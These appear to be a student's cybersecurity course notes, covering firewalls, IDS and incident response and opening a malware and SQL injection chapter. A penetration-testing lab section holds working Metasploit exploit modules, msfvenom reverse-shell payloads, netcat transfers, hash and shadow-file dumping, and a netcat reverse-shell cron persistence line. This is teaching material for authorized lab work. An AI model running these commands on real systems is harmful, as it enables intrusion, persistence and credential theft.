Payload file generation or execution	Use application control, endpoint protection, sandboxing, file reputation, behavioral detection, and controlled software deployment.

10.4 Accuracy and source notes

Source material: SDU Centre for Industrial Software (CIS), Cybersecurity (F26), Penetration Testing, 18 February 2026.

Accuracy references used for clarifications: EUR-Lex, Directive (EU) 2022/2555 (NIS2), especially Article 21(2)(e)-(f); Metasploit Framework documentation for module categories, module options, and running modules; Debian netcat-traditional manpage for Netcat behavior. The examples remain lab-oriented and may depend on tool version or package variant.

Practical analysis checklist: name the concept, explain the direction of communication, identify the required options or evidence, state the security impact, and include authorization, scope, non-harm, and cleanup.

Lab 3: Penetration Testing - Full Exploit Set and Workflow

All 8 exploits demonstrated in lab

#	Exploit	Port	Module / command	CVE / mechanism
1	Bindshell (root)	1524	nc 10.0.2.4 1524	Misconfig; instant root, no auth
2	vsftpd 2.3.4	21	exploit/unix/ftp/vsftpd_234_backdoor	CVE-2011-2523; ':)' opens shell on 6200
3	UnrealIRCd 3.2.8.1	6667	exploit/unix/irc/unreal_ircd_3281_backdoor	CVE-2010-2075; 'AB' prefix triggers
4	rlogin passwordless	513	rlogin -l root 10.0.2.4	.rhosts trust; root, no password
5	Samba usermap_script	445	exploit/multi/samba/usermap_script	CVE-2007-2447; username -> RCE
6	EternalBlue SMBv1	445	exploit/windows/smb/ms17_010_eternalblue	CVE-2017-0144 / MS17-010 -> SYSTEM
7	WinRM login	5985	auxiliary/scanner/winrm/winrm_login	Default creds vagrant:vagrant
8	Priv-esc	-	sessions -i 2; getsystem; getuid	unauth -> NT AUTHORITY\SYSTEM

Standard exploit workflow (memorise)

```
msfconsole
use <module>
set RHOSTS 10.0.2.4   # target
set LHOST 10.0.2.3   # your Kali (for reverse payloads)
set payload cmd/unix/reverse   # when a payload is required
run
sessions -i <N>   # interact with session N
```

msfvenom + listener

```
msfvenom -a x86 --platform linux -f elf -p linux/x86/meterpreter/reverse_tcp
lhost=10.0.2.3 lport=4444 -o payload.elf
msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp
lhost=10.0.2.3 lport=4444 -o payload.exe
use exploit/multi/handler   # listener for incoming payload
set payload linux/x86/meterpreter/reverse_tcp ; set LHOST 10.0.2.3 ; set LPORT 4444 ; run
```

Transfer without Metasploit: nc -lvnp 5555 > payload.elf (receiver) / nc 10.0.2.4 5555 < payload.elf (sender), then chmod a+x payload.elf && ./payload.elf

Post-exploitation evidence commands

Linux: whoami, id, ip a, cat /etc/passwd, cat /etc/shadow.

Windows/Meterpreter: getuid, sysinfo, getsystem, hashdump.

Persistence examples: cron job (nc -e /bin/bash IP 4444), SSH key in /root/.ssh/authorized_keys, edit /etc/rc.local.

CYBERSECURITY

Chapter 04: Firewalls, IDS, and Incident Response

Technical knowledge notes

Firewall purposes and limits, filtering models, ACLs, stateful inspection, gateways, DMZs, VPNs, distributed enforcement, IDS/IPS, honeypots, and incident response

Core idea: A firewall enforces policy at a trust boundary; an IDS observes and analyzes security-relevant events; an IPS can react automatically; incident response is the organized process used when prevention and detection are not enough. These controls complement one another rather than replacing one another.

Fast navigation

Overview

Area	Essential question	Why it matters
Firewall fundamentals	What traffic should cross a trust boundary, under which conditions, and with what monitoring?	A firewall is a policy enforcement point. Its usefulness depends on placement, rules, state awareness, hardening, and the traffic that actually passes through it.
Packet filters and ACLs	How can packet fields be used to permit or deny traffic?	Fast network-layer filtering is foundational, but stateless rules have limits and can be bypassed or misapplied.
Gateways and deployment	How much protocol context should a control understand, and where should controls be placed?	Stateful inspection, circuit gateways, application proxies, bastion hosts, DMZs, VPNs, and host firewalls provide different layers of protection.
IDS and IPS	How can malicious activity be detected and, where appropriate, blocked?	Detection uses logs, host activity, and network traffic. Signature and anomaly approaches have different failure modes.
Incident response	What happens when something still goes wrong?	Verification, interpretation, scope analysis, prioritization, evidence preservation, restoration, and communication are required.

1. Firewall fundamentals

1.1 Definition and purpose

A firewall is a hardware or software control positioned between networks or zones with different trust levels. It acts as a choke point: traffic that crosses the boundary is evaluated against policy. In the simplest perimeter picture, an internal protected network is separated from an external untrusted network such as the Internet. More realistic designs use several boundaries, for example an Internet edge, a demilitarized zone (DMZ), an internal network, and host-resident controls.

Firewall capability	Explanation
Access control	Permit authorized traffic and deny traffic that violates policy. Rules may consider interfaces, addresses, ports, protocols, connection state, users, or application-level content depending on firewall type.
Monitoring and auditing	Record traffic and policy decisions. Logs can support troubleshooting, anomaly investigation, intrusion detection, compliance evidence, and incident response.
Alarm generation	Raise alerts when traffic patterns or policy violations appear abnormal.
NAT	Translate addresses so that internal addressing can be hidden or mapped at a boundary. NAT changes addressing; it is not a complete security policy by itself.
Usage monitoring	Measure and review network usage, which may help identify unusual activity or capacity problems.
VPN termination	Implement encrypted tunnels such as IPsec VPNs so remote users or sites can communicate securely over an untrusted network.
Gateway or proxy role	Relay or mediate communication rather than allowing direct end-to-end connectivity.
Resistance to attack	The firewall itself is security-critical and must be hardened. A compromised policy-enforcement point cannot reliably protect the networks behind it.

Policy perspective: A firewall does not decide whether traffic is morally good or bad. It enforces an explicit technical policy. Poor placement, missing rules, overly broad exceptions, or a compromised firewall can make the policy ineffective.

1.2 What a firewall cannot solve

Firewalls are important but limited. A perimeter firewall cannot protect against traffic or actions that never pass through it, and it cannot automatically determine whether every allowed activity is legitimate. Important elements include several bypass and insider scenarios.

Limitation	Why the firewall may fail	Complementary control
Bypassing the controlled path	Removable media, unofficial modems, direct links, trusted partner networks, or another route may avoid the firewall. Encrypted services such as TLS, SSL, or SSH may also hide content from a firewall that cannot inspect inside the protected channel.	Asset inventory, segmentation, endpoint controls, secure configuration, egress controls, partner controls, and appropriate encrypted-traffic strategy.

Limitation	Why the firewall may fail	Complementary control
Internal threats	A malicious, careless, or colluding employee may already be inside the protected network.	Least privilege, separation of duties, endpoint monitoring, logging, internal segmentation, access reviews, and data controls.
Weakly secured wireless access	An exposed WLAN can create an entry path that bypasses the expected perimeter.	Strong Wi-Fi security, network access control, segmentation, monitoring, and removal of unauthorized access points.
Malware imported from outside	A laptop, mobile device, or storage medium infected elsewhere can bring malware into an internal environment.	Endpoint protection, patching, device control, application allowlisting, awareness, and network segmentation.

Defense in depth: A firewall is one layer. Security requires multiple preventive, detective, and responsive controls so that the failure or bypass of one mechanism does not expose the entire environment.

1.3 Firewall categories by inspection level

Firewalls can be classified by the OSI-layer context they understand. The categories are useful abstractions; real products often combine multiple techniques.

Category	Primary inspection context	Core behavior	Main trade-off
Network-level packet filter	Interfaces, IP addresses, transport protocol, and ports	Permit or deny packets according to rules. Stateless filters examine packets individually; stateful filters track connections.	Fast and foundational, but less visibility into application meaning.
Circuit-level gateway	Session or circuit state, especially transport-layer connection establishment	Validate a session before relaying traffic and maintain connection-state information.	More context than a stateless filter, but usually does not inspect application payload semantics.
Application-level gateway / proxy	Application protocol and request content	Act as an intermediary for a particular service such as HTTP or FTP and validate requests at the application layer.	Strong application-aware policy and logging, but greater complexity and performance cost.

2. Packet filters and access-control lists

2.1 Packet filtering foundations

Packet filtering is the simplest and often fastest firewall component. It is a foundation of firewall design because it can restrict which services are reachable before deeper inspection is attempted. A filter evaluates packet metadata and decides whether to allow or deny the packet.

Default-policy model	Meaning	Security implication
Default deny: what is not expressly permitted is prohibited	Traffic is blocked unless a rule explicitly allows it.	Usually safer because new or forgotten services remain blocked by default. It requires careful rule design to avoid unnecessary disruption.
Default allow: what is not expressly prohibited is permitted	Traffic passes unless a rule explicitly blocks it.	Easier to deploy initially but more likely to expose services unintentionally when rules are incomplete.

2.2 Static or stateless packet filtering

A static packet filter is an early-generation firewall technology. The rules are defined by an administrator and do not change dynamically in response to connection context. Each incoming or outgoing packet is evaluated independently. Because the filter does not understand application-layer semantics, it cannot determine whether an allowed HTTP request is safe or whether a permitted protocol is being misused.

Field examined by a static packet filter	Example security question
Physical or logical network interface	Did this packet arrive from the Internet-facing interface, an internal interface, or a DMZ interface?
Source IP address	Where does the packet claim to originate? Is that source plausible on this interface?
Destination IP address	Which protected host or public service is being contacted?
Transport-layer protocol	Is the packet TCP, UDP, ICMP, or another protocol?
Source port	Which port does the sender claim to use?
Destination port	Which service endpoint is being requested, for example TCP port 80 for HTTP or UDP port 53 for DNS?

2.3 Filtering-rule examples

This uses simplified examples to demonstrate how policy becomes packet-filter rules. Real rules should be validated against architecture, legitimate traffic flows, direction, connection state, IPv4/IPv6, logging requirements, and the firewall product syntax.

Policy objective	Illustrative rule idea	Important interpretation
Block outside Web access	Drop outgoing packets to destination TCP port 80.	The example blocks ordinary HTTP but not HTTPS on TCP port 443, proxies, tunnels, or application-specific alternatives. Policy intent must be translated completely.
Allow external connections only to the public Web server	Drop incoming TCP SYN packets to port 80 unless the destination is the authorized public server, 222.22.44.203.	A SYN rule is about initiating TCP connections. The public Web server belongs in an exposed zone such as a DMZ rather than an unrestricted internal network.
Reduce IPTV bandwidth consumption	Drop incoming UDP packets except necessary traffic such as DNS and router broadcasts.	This broad example illustrates protocol filtering but can break legitimate UDP applications. Use measured, scoped rules.
Prevent the network from participating in a Smurf DoS attack	Drop ICMP packets sent to broadcast addresses such as 222.22.255.255.	Smurf attacks abuse directed broadcast behavior. Modern networks should also disable inappropriate directed broadcasts and monitor abuse.
Prevent simple traceroute visibility	Drop selected outgoing ICMP traffic.	Traceroute behavior differs by operating system and probe type. Blocking ICMP broadly can harm diagnostics and path-MTU discovery. Filter deliberately rather than blindly.

2.4 Ordered access-control lists (ACLs)

An ACL is an ordered list of rules. Rules are applied from top to bottom. The first matching rule normally decides the outcome, so rule order matters. A broad allow rule placed before a narrow deny rule may unintentionally defeat the deny rule. A final deny-all rule makes the default-deny posture explicit.

Action	Source address	Destination address	Protocol	Source port	Destination port	Purpose in example
allow	222.22/16	outside 222.22/16	TCP	>1023	80	Permit internal clients to initiate ordinary Web requests.

Action	Source address	Destination address	Protocol	Source port	Destination port	Purpose in example
allow	outside 222.22/16	222.22/16	TCP	80	>1023	Permit the corresponding Web-server replies in a simple stateless model.
allow	222.22/16	outside 222.22/16	UDP	>1023	53	Permit internal DNS queries.
allow	outside 222.22/16	222.22/16	UDP	53	>1023	Permit DNS replies in the simple stateless model.
deny	all	all	all	all	all	Block everything else.

Why stateful filtering helps: The ACL example must explicitly allow return traffic because a stateless filter does not remember that an internal client initiated the request. A stateful firewall can track the connection or flow and permit valid return packets based on that state.

2.5 Advantages and disadvantages of static packet filters

Advantages	Disadvantages
Fast because relatively few evaluations are required.	Limited context: commonly evaluates interface, addresses, protocols, and ports rather than application semantics.
Conceptually simple: one rule can permit or deny a class of packets.	Cannot reliably detect attacks hidden inside allowed higher-level protocols.
Can provide address translation functions such as NAT.	Rule sets become difficult to reason about as complexity, exceptions, and multiple zones grow.
Often inexpensive and widely available.	A permitted packet is not necessarily a legitimate packet.
Usually does not require special client configuration.	Stateless rules must model reply traffic explicitly and may be exposed to evasion techniques.

2.6 Attacks and evasions affecting packet filters

Technique	How it challenges a simple packet filter	Mitigation principle
IP address spoofing	The attacker places a fake trusted source address in a packet header. A filter that trusts only the claimed address may accept it.	Use ingress and egress filtering, interface-aware anti-spoofing rules, routing validation, and state-aware controls.
Source-routing attack	The sender attempts to specify a route rather than using the normal routing path.	Reject source-routed packets unless there is a justified and controlled need.
Tiny-fragment attack	Header information is split across very small fragments so that a simplistic filter may not see the full transport-layer information in the first fragment.	Discard suspicious fragments or reassemble traffic before applying checks. Use modern stateful controls and normalization.

2.7 Stateful packet filtering / stateful inspection

Traditional stateless packet filters do not match reply packets to an outgoing flow. Stateful filters maintain connection or flow context. They inspect a packet in relation to known client-server sessions and decide whether it validly belongs to a permitted exchange. This improves rejection of bogus packets that are out of context. Some implementations also inspect limited application data.

Stateful-inspection strength	Explanation
Tracks sessions or flows	Return traffic can be allowed because it belongs to a permitted connection rather than because a broad static rule happens to match.
Rejects out-of-context packets	A packet that does not fit an expected connection state can be dropped even if its port numbers appear plausible.
Application independent at its core	The firewall can protect many applications using network and transport context without implementing a separate full proxy for each application.
Performance balance	Usually faster than a full application proxy while offering stronger validation than a purely stateless filter.
Remaining limit	It provides less application-specific access control than a full proxy and may not understand malicious content inside an allowed session.

3. Circuit-level and application-level gateways

3.1 Circuit-level gateway

A circuit-level gateway validates a transport-layer session before opening a circuit through the firewall. It typically relays connections: the internal client connects to the gateway, and the gateway establishes a separate connection toward the external service. After the session is accepted, the gateway commonly relays traffic without deeply inspecting the application payload. SOCKS is a familiar circuit-proxy approach.

Connection-table item retained by a circuit-level firewall	Why it matters
Unique session identifier	Distinguishes one circuit from another.
Connection state: handshake, established, closing	Allows the gateway to reject traffic inconsistent with the expected session lifecycle.
Sequencing information	Supports validation that traffic belongs to the active exchange.
Source IP address	Records the initiating endpoint.
Destination IP address	Records the intended external or internal endpoint.
Incoming network interface	Captures where traffic entered the gateway.
Outgoing network interface	Captures where relayed traffic leaves the gateway.

Advantages	Disadvantages
Faster than a full application-layer proxy because it usually does not interpret every application message.	Cannot perform rich checks on higher-level protocol semantics or content.
Stronger session awareness than a simple stateless packet filter.	Policy is less granular than an application-specific proxy.
Can shield internal addresses from external networks through proxying and address translation behavior.	Coverage depends on supported protocols and implementation. TCP session handling is the classic model; UDP treatment may be implementation-specific.
Can limit which circuits are opened.	Once a circuit is accepted, malicious content inside the session may pass unless another control inspects it.

Accuracy note: Classic circuit-level gateways are primarily connection-oriented session controls. Some implementations can model UDP flows, but tracking a circuit does not create full application-layer understanding.

3.2 Application-level gateway or proxy

An application-level gateway is an application-specific intermediary. The user requests a service from the proxy; the proxy validates the request, performs or forwards the allowed action, and returns the result. Because it understands the relevant application protocol, it can evaluate security details that are invisible to a basic packet filter, such as service requests, protocol commands, user authentication, URLs, or application-specific policy.

Application-proxy capability	Explanation
Protocol-aware validation	Understand higher-level protocols such as HTTP or FTP and reject invalid or disallowed requests.
No direct external-to-internal session	The proxy terminates one side of the communication and initiates the other side, reducing direct exposure of internal systems.
Application-level logging and auditing	Record requests and outcomes in a form closer to user actions and service semantics.
Service-specific policy	Allow some functions while denying others, for example URL filtering or restrictions on specific commands.
User authentication	Require identity checks before allowing use of a proxied service.
Additional features	HTTP caching, URL filtering, and other protocol-specific functions may be integrated.

Advantages	Disadvantages
Strong visibility into the application protocol and its security-relevant fields.	Slower than simpler filtering because more processing is required.
Can deny specific network services or subsets while allowing others.	Requires application-specific proxy support and careful maintenance.
Shields internal addresses and prevents direct external communication with internal systems.	May require changes to client procedures or configuration.
Can add authentication, caching, URL filtering, and detailed logs.	Relies on the gateway operating system and proxy implementation, so bugs in either can create vulnerabilities.

3.3 Comparing the firewall mechanisms

Mechanism	Understands	Best at	Main blind spot
Static packet filter	Individual packet headers	Fast baseline filtering by interface, address, protocol, and port	No connection memory and no application semantics.
Stateful packet filter	Packet headers plus session or flow context	Efficiently allowing valid return traffic and rejecting out-of-context packets	Limited application meaning.
Circuit-level gateway	Session establishment and circuit metadata	Controlling which connections may be opened and relaying sessions	Usually little or no payload inspection after circuit setup.
Application-level gateway	Application protocol and request content	Detailed, service-specific policy, authentication, and logging	Higher processing cost and service-specific complexity.

4. Firewall placement and architectures

4.1 Bastion host

A bastion host is a deliberately hardened system placed in a position where it may be exposed to hostile traffic. It can run circuit-level or application-level gateways, provide externally accessible services, or serve as a controlled administrative entrance. Because it is trusted to enforce separation, it should have a hardened operating system, only essential services, extra authentication, and small, secure, independent, non-privileged proxy components where possible. A bastion host may have two or more network connections so it can mediate between zones.

4.2 Host-based and personal firewalls

Control	Placement and role	Advantages or focus
Host-based firewall	Software module on an individual system, frequently a server, provided by the operating system or an add-on product.	Tailor rules to the specific host, protect independently of network topology, and add another layer even when perimeter controls exist.
Personal firewall	Control on a PC or workstation, or a simpler control in a home or small-office router.	Deny unauthorized remote access and monitor outgoing activity that may indicate malware or unwanted software behavior.

4.3 DMZ networks

A DMZ is a separated network zone for systems that need some exposure to untrusted networks but should not be placed directly inside the protected internal network. diagram shows the Internet connected through a boundary router and an external firewall to a DMZ containing public-facing Web, email, and DNS servers. An internal firewall then separates the DMZ from application servers, database servers, and workstations. This creates layered boundaries: compromise of a public server should not automatically give unrestricted access to internal systems.

DMZ design principle	Reason
Place public-facing services in a separated zone	Internet-reachable services carry higher exposure and should not share the same trust level as internal workstations or databases.
Filter Internet-to-DMZ traffic	Permit only the public services that are intended to be reachable.
Filter DMZ-to-internal traffic strictly	A compromised public server must not become an unrestricted bridge into the protected network.
Monitor both directions	Unusual outbound activity from a DMZ host can indicate compromise.
Harden and patch exposed services	Segmentation reduces impact but does not eliminate the need to secure each host.

4.4 Virtual private networks (VPNs)

A VPN creates a protected logical connection across a public or otherwise untrusted network. diagram shows IPsec protection: the original IP traffic is carried with IPsec-related headers and a protected payload across the shared network. Firewalls or security gateways can terminate site-to-site tunnels, and an individual user system can also use IPsec for remote access.

VPN property	Explanation
Confidentiality	Encryption can prevent observers on the transit network from reading protected payloads.
Integrity and authentication	IPsec mechanisms can help detect modification and authenticate the communicating endpoints, depending on configuration.
Site-to-site tunnel	Security gateways connect two networks securely over an untrusted intermediate network.
Remote-access tunnel	An individual user endpoint connects securely toward an organizational gateway.

VPN property	Explanation
Important limit	A VPN protects traffic in transit; it does not guarantee that either endpoint is trustworthy, patched, correctly authorized, or free of malware.

4.5 Distributed firewalls

Distributed firewall architecture applies policy at several points rather than relying on one perimeter box. diagram combines a boundary router, an external firewall, an external DMZ, an internal DMZ, an internal firewall, protected application and database servers, workstations, remote users, and host-resident firewalls. The goal is layered, policy-consistent enforcement close to the resources being protected.

Layer in a distributed design	Contribution
Boundary and perimeter controls	Filter traffic entering or leaving the organization and separate external exposure from internal zones.
External and internal DMZ controls	Separate different classes of public or semi-public services and constrain movement between zones.
Internal segmentation firewall	Limit traffic between DMZ systems and protected business systems.
Host-resident firewall	Enforce rules on the endpoint even when traffic originates inside the network or another control is bypassed.
Remote-user control	Apply policy to devices connecting from outside the organization.

Architecture lesson: Perimeter security is not enough. A strong design divides the environment into trust zones, permits only necessary flows, monitors those flows, and places additional controls at critical hosts.

5. Intrusion detection and prevention systems

5.1 IDS purpose

An intrusion detection system (IDS) monitors network or system activity and attempts to identify malicious or suspicious behavior. It can analyze different information sources, scan for known patterns, detect abnormalities, and compile security-relevant events. The aim is to transform a flood of raw activity into evidence that deserves investigation.

IDS input or activity	What the IDS can derive
Network traffic capture	Connections, protocol behavior, signatures, unusual volumes, scanning patterns, and suspicious payload indicators where visible.
Host-level activity	Processes, files, system calls, authentication events, configuration changes, and endpoint behavior.
Collected logs	Security events from services, operating systems, applications, firewalls, and identity systems.
System-state statistics	Baselines and deviations, such as unusual resource usage or communication patterns.
Fused information	Higher-confidence analysis by combining evidence from several sources.

5.2 IDS taxonomy

The categories below are not mutually exclusive. A single security platform may combine network analysis, host agents, log analytics, signature rules, anomaly detection, alerting, and prevention actions.

Category	Primary data source or behavior	Strength	Limit
HIDS - host-based IDS	Host-level information from an endpoint or server	Can see local events that may not be visible on the network.	Requires host coverage and protection of the sensor itself.
NIDS - network-based IDS	Captured and analyzed network traffic	Can monitor traffic across a network segment and identify broad patterns.	Encrypted traffic, placement gaps, and high traffic volumes can limit visibility.
LIDS - logging-based IDS	Collected logs from systems and services	Combines evidence from systems that already record activity.	Detection quality depends on log completeness, integrity, timestamps, and analysis rules.
Misuse detection	Known attack signatures or recognizable malicious patterns	Effective for known attacks and often easier to explain.	Unknown or modified attacks may evade detection.
Anomaly detection	Deviation from learned or defined normal behavior	Can reveal novel or unusual activity.	Normal behavior is variable; false positives can be substantial.
Passive IDS	Filter and distill information into alerts or events	Supports investigation without automatically changing the environment.	A human or another system must decide how to respond.
Reactive system / IPS	Take actions such as changing firewall rules, blocking users, or altering connectivity	Can reduce harm quickly when confidence is high.	Incorrect decisions can block legitimate activity and cause denial of service.

5.3 Misuse detection versus anomaly detection

Approach	How it works	Typical failure mode	Operational response
Misuse / signature detection	Search for known attack signatures or explicitly defined malicious patterns.	False negatives for previously unknown attacks, changed techniques, or behavior that does not match an existing rule.	Update signatures, combine multiple sources, and use anomaly or behavioral techniques as complementary controls.
Anomaly detection	Learn or define normal operation and identify deviations. Classical machine-learning methods are commonly used.	False positives because legitimate behavior can be unusual, seasonal, or newly introduced.	Tune baselines, add context, prioritize alerts, validate findings, and avoid unsafe automatic reactions when confidence is low.

Detection is probabilistic: An alert is evidence to interpret, not a final verdict. IDS engineering is a balance between missed attacks, excessive false positives, available context, and the cost of the chosen response.

5.4 Passive IDS and reactive IPS

A passive IDS filters information and extracts relevant security events. It provides distilled information for analysts or downstream systems. A reactive system, commonly called an intrusion prevention system (IPS), acts on analytics. Example actions include changing firewall rules, blocking users, and changing network connectivity.

Reaction decision factor	Reason
Confidence	Low-confidence automatic blocking can disrupt legitimate users.
Impact of delay	Some attacks require rapid containment; others permit human review.

Reaction decision factor	Reason
Blast radius	A broad network block can be more damaging than a narrow host isolation action.
Reversibility	Temporary, logged, reversible controls are safer than opaque permanent changes.
Monitoring and review	Automated actions must be visible to operators and reviewed for effectiveness and unintended consequences.

5.5 IDS approaches: blocking, deflection, and deterrence

Approach	Explanation	Benefit	Risk or limitation
Preemptive blocking / banishment vigilance	Observe signs of an impending threat and block the user or IP before an intrusion occurs.	May stop an attack early.	May block legitimate users and create a denial-of-service condition if detection is wrong or manipulated.
Intrusion deflection	Use a honeypot: an attractive system with fake but realistic data or services. Lure an attacker into a monitored environment.	Detect ongoing attacks, learn about new techniques, and collect forensic information.	Must be isolated and monitored carefully so it cannot become a platform for harming other systems.
Intrusion deterrence	Make the environment appear less attractive, for example by visibly signaling monitoring or defensive capability.	May discourage some opportunistic activity.	Effectiveness depends on attacker motivation and is difficult to rely on as a primary control.

5.6 Example open-source systems

The available options include Suricata, Snort, and Zeek as free and open-source examples, while noting that the examples are not identical products. Selection should depend on system context and requirements rather than name recognition alone.

System	Useful high-level characterization	Selection question
Suricata	Network-threat detection engine that can perform signature-based inspection and related network-security analysis.	Does the deployment need network IDS/IPS capabilities, protocol analysis, and integration with the surrounding monitoring stack?
Snort	Network intrusion detection and prevention engine using rules and packet inspection.	Can the organization maintain suitable rules, place sensors correctly, and process the expected traffic volume?
Zeek Network Security Monitor	Network-security monitoring platform that produces rich protocol-oriented logs and event data for analysis.	Does the monitoring workflow need detailed network telemetry and analysis rather than only signature alerts?

5.7 IDS operational summary

An effective detection program isolates security-relevant events, fuses information from several sources, collects logs from services and firewalls, captures network activity where appropriate, uses automatic systems to analyze the flood of events, monitors system state with supporting statistics, and acts on analytics where the confidence and risk justify action.

6. Incident response when prevention and detection are not enough

6.1 Preparedness question

Security policies, threat-aware development, monitoring, and issue-tracking systems reduce risk, but they do not guarantee that nothing will go wrong. Incident response is the organized capability used to determine what happened, limit harm, preserve evidence, restore operations, and communicate appropriately.

6.2 Immediate incident response

Immediate step	Question to answer	Why it matters
Verification	Is the information correct? Is the event real, duplicated, misunderstood, or a false positive?	Acting on incorrect information can waste time or cause further disruption.
Interpretation	What actually happened? Which systems, accounts, services, or data flows are involved?	Raw alerts must be turned into an evidence-based account of the incident.
Scope assessment	What are the actual and possible consequences? How far could the incident extend?	Containment and communication depend on the plausible blast radius.
Classification and prioritization	How urgently must the organization act? Is this spam, scanning, a policy violation, malware, or a compromised system?	Not every event deserves the same response. Resources must focus on the most consequential incidents.

6.3 Next steps: evidence, restoration, and communication

Workstream	Key questions	Tension or dependency
Forensics and evidence preservation	What went wrong? How and when should evidence be secured? Which logs, disk images, memory captures, network records, and timestamps are needed?	Evidence collection must be reliable and defensible. Changing the system during recovery can destroy or alter evidence.
Restore operations	What should return online first? Are backups usable? How will systems be rebuilt safely? What must be validated before reconnection?	Rapid restoration may conflict with the need to preserve evidence and understand the compromise path.
Communication	Who needs timely information internally? Which business partners, investors, customers, regulators, or other stakeholders require communication?	Messages must be accurate, coordinated, appropriately scoped, and updated as facts change.

Central trade-off: Forensics and restoration can counteract each other. Evidence must be protected, but business operations may need rapid recovery. A prepared organization defines priorities, backups, roles, escalation paths, and communication procedures before an incident occurs.

7. Compact open-book lookup reference

7.1 Firewall mechanism comparison

Control	Memory of connection state?	Application awareness?	Typical use
Static packet filter	No	No	Fast baseline rules based on interfaces, IP addresses, protocols, and ports.
Stateful packet filter	Yes	Limited or optional	Permit valid session traffic and reject packets that do not fit expected context.
Circuit-level gateway	Yes: circuit or session metadata	Usually little payload understanding	Validate and relay allowed connections; SOCKS-style proxying.
Application-level gateway	Yes	Yes, service-specific	Inspect and mediate HTTP, FTP, or another application protocol with detailed policy.
Host-based firewall	Depends on implementation	Depends on implementation	Enforce rules directly on a server or endpoint.

7.2 Deployment vocabulary

Term	Concise definition
Bastion host	A hardened, exposed host trusted to mediate or provide selected services across trust boundaries.
DMZ	A separated network zone for public-facing or semi-public services so that their compromise does not automatically expose the internal network.
VPN	A protected logical connection across an untrusted network, often using cryptographic mechanisms such as IPsec.
Distributed firewall	A layered enforcement model combining perimeter, internal-zone, remote-user, and host-resident controls.
NAT	Address translation at a boundary. It can hide or map internal addresses but is not a complete security policy.

7.3 IDS, IPS, and response vocabulary

Term	Concise definition
IDS	A system that monitors network or host activity, analyzes security-relevant evidence, and produces alerts or events.
HIDS	Host-based IDS analyzing endpoint or server information.
NIDS	Network-based IDS capturing and analyzing network traffic.
LIDS	Logging-based IDS analyzing collected logs.
Misuse detection	Detection of known malicious signatures or patterns; strong for known attacks but weaker for unknown ones.
Anomaly detection	Detection of deviations from normal behavior; useful for unusual activity but susceptible to false positives.
IPS	A reactive prevention system that can automatically block, isolate, or reconfigure controls in response to detected activity.
Honeypot	A monitored decoy environment with realistic-looking services or data used to deflect and study attacker activity.
Incident response	The organized process of verifying, interpreting, scoping, prioritizing, containing, investigating, restoring, and communicating about security incidents.

7.4 High-value distinctions

Do not confuse	Correct distinction
Firewall vs IDS	A firewall enforces traffic policy. An IDS observes and analyzes activity. Products may integrate both functions, but the concepts are different.
IDS vs IPS	An IDS primarily detects and reports. An IPS can take automatic preventive action. Automatic action introduces availability risk if detection is wrong.
Stateless vs stateful filtering	A stateless filter examines packets independently. A stateful filter relates packets to tracked sessions or flows.
Circuit gateway vs application proxy	A circuit gateway validates and relays sessions, usually without deep payload interpretation. An application proxy understands a particular application protocol and its requests.

Do not confuse	Correct distinction
DMZ vs internal network	A DMZ intentionally contains more-exposed services and is separated from the protected internal network by policy controls.
VPN vs trusted endpoint	A VPN can protect data in transit. It does not prove that either endpoint is safe or that every action through the tunnel is authorized.
Alert vs confirmed incident	An alert is a signal requiring validation and interpretation. A confirmed incident is an evidence-supported security event requiring response.

7.5 Incident-response mini-checklist

Phase	Minimum questions
Verify	Is the event real? Which source reported it? Are timestamps and evidence reliable?
Interpret	What happened? Which attack path or failure explains the evidence?
Scope	Which systems, accounts, data, and partners are affected or potentially affected?
Prioritize	What is the business and security impact? What must be contained first?
Preserve evidence	Which logs, captures, images, and records must be secured before changes are made?
Restore	Which services return first? Are backups clean and tested? How is safe reconnection validated?
Communicate	Who needs accurate updates, at what level of detail, and at what time?

Final memory anchor: Place controls at trust boundaries and critical hosts; allow only necessary flows; use state and application context where needed; monitor evidence from multiple sources; react proportionately; and prepare incident-response decisions before the incident.

Additional: Attacks on Packet Filters - Source Routing

Source routing attacks: The attacker specifies a route other than the default to bypass firewall rules. **Defense:** Block source-routed packets at the router/firewall.

Three classic attacks on packet filters: (1) IP address spoofing - fake source address, (2) Source routing - attacker sets non-default route, (3) Tiny fragment - split header over tiny packets.

Additional: Firewall Core Property

A firewall **must be immune to penetration**. It must run hardened, minimal software with no unnecessary services, and must be regularly patched.

CYBERSECURITY

Chapter 05: Malware and SQL Injection

Technical knowledge notes

Malware behavior, propagation, virus families, ransomware, Trojans, spyware, rootkits, antivirus detection, relational databases, SQL injection mechanics, defensive controls, and assessment tools

Core idea: Malware abuses software execution, trust, and user behavior. SQL injection abuses a different trust failure: an application accidentally treats untrusted input as executable database instructions. Both topics demonstrate why layered controls and safe handling of input are essential.

Scope and safety: Examples are documented for defensive understanding and authorized laboratory work. Never execute malware samples, scan targets, or attempt SQL injection against systems without explicit authorization.

Source material: Malware & SQL Injection, Hiraku Morita, 4 March 2026

1. Big picture: two ways to misuse trust

The material has two major parts. The first part studies malicious software: programs or code that perform unwanted actions on a device or network. The second part studies SQL injection: a vulnerability in which an application constructs a database query unsafely, allowing attacker-controlled input to change the intended query logic.

Topic	Primary trust failure	Typical consequence	Central defensive approach
Malware	A user, application, or system executes code or content that should not be trusted.	Unauthorized execution, persistence, data theft, espionage, encryption of files, backdoors, propagation, or disruption.	Reduce opportunities to execute untrusted code; update systems; filter content; use endpoint and network defenses; maintain backups; train users; isolate suspicious samples.
SQL injection	The application mixes untrusted data with SQL command text.	Unauthorized reads, login bypass, modification, deletion, or exposure of database contents.	Use parameterized or prepared statements; validate inputs; limit database privileges; protect secrets; patch systems; avoid revealing internals in errors.

Important distinction: A virus, worm, Trojan, spyware component, rootkit, and ransomware sample can overlap. These labels describe behavior, delivery, persistence, or purpose. A single malicious program may fit several categories at the same time.

1.1 Malware terminology

Term	Concise definition	Important nuance
Malware	Software or code intentionally designed to perform harmful, unwanted, or unauthorized actions.	The category is broad. It includes viruses, worms, Trojans, ransomware, spyware, rootkits, and combinations of these behaviors.
Virus	Malicious code that commonly attaches to a file or host program and self-replicates when triggered.	A traditional virus usually depends on some human or system action, such as opening a document or executing an infected file.
Worm	Self-replicating malware that spreads without requiring the same kind of human action as a traditional virus.	A worm can propagate automatically through reachable systems or services. Rapid propagation can create severe operational impact even when destructive intent is absent.
Payload	The action carried out after delivery or execution, such as encryption, data theft, a backdoor, or downloading additional code.	Delivery method and payload are different. A macro may deliver a ransomware payload; a Trojan may install a keylogger or backdoor.
